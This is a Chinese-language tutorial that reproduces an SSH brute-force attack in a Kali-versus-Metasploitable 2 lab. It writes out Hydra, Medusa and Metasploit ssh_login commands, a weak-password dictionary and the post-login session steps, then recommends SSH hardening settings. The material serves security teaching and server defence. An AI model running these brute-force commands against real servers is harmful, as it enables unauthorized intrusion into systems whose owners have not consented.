黑客的“猜密码”游戏:SSH暴力破解实战与Linux安全加固
摘要:SSH是Linux服务器的“大门”,但若配置不当,攻击者可通过暴力破解轻松闯入。本文将介绍SSH协议原理、暴力破解工具(Hydra/Medusa),并使用Metasploit的ssh_login模块进行实战演示。同时,提供SSH安全配置方案:修改端口、禁止root登录、限制登录尝试次数、白名单访问等,帮助运维人员加固服务器。适合初学者和安全爱好者。
一、实验环境说明
| 设备角色 | 操作系统 | IP地址 |
|---|---|---|
| 攻击机 | Kali Linux 2026.1 | 10.0.0.129/24 |
| 靶机 | Metasploitable 2 (Linux) | 10.0.0.243/24 |
提示:Metasploitable 2 默认SSH用户名
msfadmin,密码msfadmin,属于典型的弱密码。实验中可自行添加其他弱密码组合。
二、SSH协议简介
SSH(Secure Shell)是一种基于应用层的安全协议,专为远程登录和其他网络服务提供加密传输。主要特点:
数据加密:防止网络窃听和DNS/IP欺骗。
两种认证方式:
基于密码的认证(传统方式,易被爆破)
基于密钥的认证(安全性高,推荐)
数据压缩:加快传输速度。
常用客户端:Putty、FinalShell、MobaXterm、SecureCRT等。
三、暴力破解原理
暴力破解(Brute Force),也称穷举法,是攻击者通过预设的用户名和密码列表(即“字典”),自动化地逐个尝试登录,直到找到正确的组合。其核心思想是:大多数用户会选择简单易记的密码,或者系统默认的弱凭证(如admin/admin、root/123456),攻击者便利用这一人性弱点发起攻击。
字典来源:攻击者通常会使用以下几种字典:
常见弱密码字典:如
123456、admin、root、password、qwerty、1qaz2wsx等。用户名与密码相同:如
admin/admin、root/root、test/test。基于目标信息的定制字典:如公司名称、员工生日、部门缩写等(针对定向攻击)。
已泄露的密码库:如
rockyou.txt(Kali Linux中内置,包含超过1400万个真实泄露密码)。
攻击流程:
攻击者获得目标SSH服务的IP和端口(默认22)。
使用自动化工具加载字典,并发起大量登录请求。
工具根据返回结果(如“Authentication successful”或错误码)判断是否成功。
一旦成功,攻击者立即获得Shell访问权限,进而进行后续渗透。
常见暴力破解工具详解:
Hydra: 特点: 支持多种协议(SSH、FTP、HTTP、RDP等),速度快,支持多线程。 示例: hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.243 -t 4 Medusa: 特点: 类似Hydra,支持多线程,可指定重试延迟。 示例: medusa -h 10.0.0.243 -u root -P /root/passlist.txt -M ssh -t 5 Metasploit ssh_login: 特点: 集成在MSF框架中,可与后期渗透无缝衔接,支持会话自动建立。 示例(msfconsole内执行): use auxiliary/scanner/ssh/ssh_login set RHOSTS 10.0.0.243 set USERPASS_FILE /root/userpasswd run防御提示:
面对暴力破解,可采取以下措施:
使用强密码(大小写字母+数字+特殊符号,长度≥12位)。
开启账户锁定策略(如
fail2ban:连续失败N次后封锁IP一段时间)。修改SSH默认端口(如改为
12345),大幅减少自动化扫描流量。启用密钥认证并禁用密码登录。
配置双因素认证(2FA)。
四、实战:使用Metasploit进行SSH暴力破解
步骤1:创建字典文件
在Kali中创建一个简单的用户名/密码字典:
vim /root/userpasswd每行格式:用户名 密码。示例内容:
root 123456
root root
admin admin
msfadmin msfadmin
test test123
步骤2:启动MSF并搜索SSH爆破模块
msfconsole -q msf > search ssh_login结果:
0 auxiliary/scanner/ssh/ssh_login
步骤3:使用模块并设置参数
msf > use 0 msf > set RHOSTS 10.0.0.243 msf > set USERPASS_FILE /root/userpasswd msf > set STOP_ON_SUCCESS true # 成功后停止继续尝试 msf > set THREADS 5 # 可选,并发线程数 msf > run运行结果如下:
步骤4:切换到获取的会话
msf > sessions -i 1进入会话后,可以执行命令:
id whoami ifconfig五、SSH安全配置(靶机防御加固)
编辑SSH配置文件/etc/ssh/sshd_config:
vim /etc/ssh/sshd_config推荐修改项:
| 配置项 | 推荐值 | 说明 |
|---|---|---|
Port | 12345(非默认) | 改变默认22端口,减少自动化扫描 |
LoginGraceTime | 60 | 单次连接超时1分钟,自动断开空闲连接 |
PermitRootLogin | no | 禁止root直接远程登录(改用普通用户+sudo) |
MaxAuthTries | 2 | 单次连接最大认证尝试次数,超过即断开 |
AllowUsers | kali@192.168.10.1 | 仅允许特定用户从特定IP登录(白名单) |
PasswordAuthentication | no | 禁用密码认证(仅允许密钥认证,更高安全) |
修改后重启服务:
systemctl restart ssh验证效果:
root用户无法直接登录。
端口变为12345,连接命令变为
ssh -p 12345 user@10.0.0.243。
六、总结
本文针对SSH服务的暴力破解攻击进行了复现与防御研究。在Kali Linux 2026.1攻击机(10.0.0.129)与Metasploitable 2靶机(10.0.0.243)环境中,使用Metasploit框架的auxiliary/scanner/ssh/ssh_login模块,基于自定义字典成功爆破出弱密码账户(msfadmin)。实验表明,弱密码是SSH服务面临的主要威胁,攻击者利用自动化工具可快速获取系统访问权限。为应对此类攻击,本文提出了SSH安全加固方案:修改默认端口、设置连接超时、禁止root远程登录、限制最大认证次数、配置用户/IP白名单,并可进一步禁用密码认证,改用密钥认证。实施上述措施后,暴力破解攻击的成功率将大幅降低。运维人员应定期检查SSH配置,及时更新弱密码,并监控/var/log/auth.log中的异常登录尝试。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。
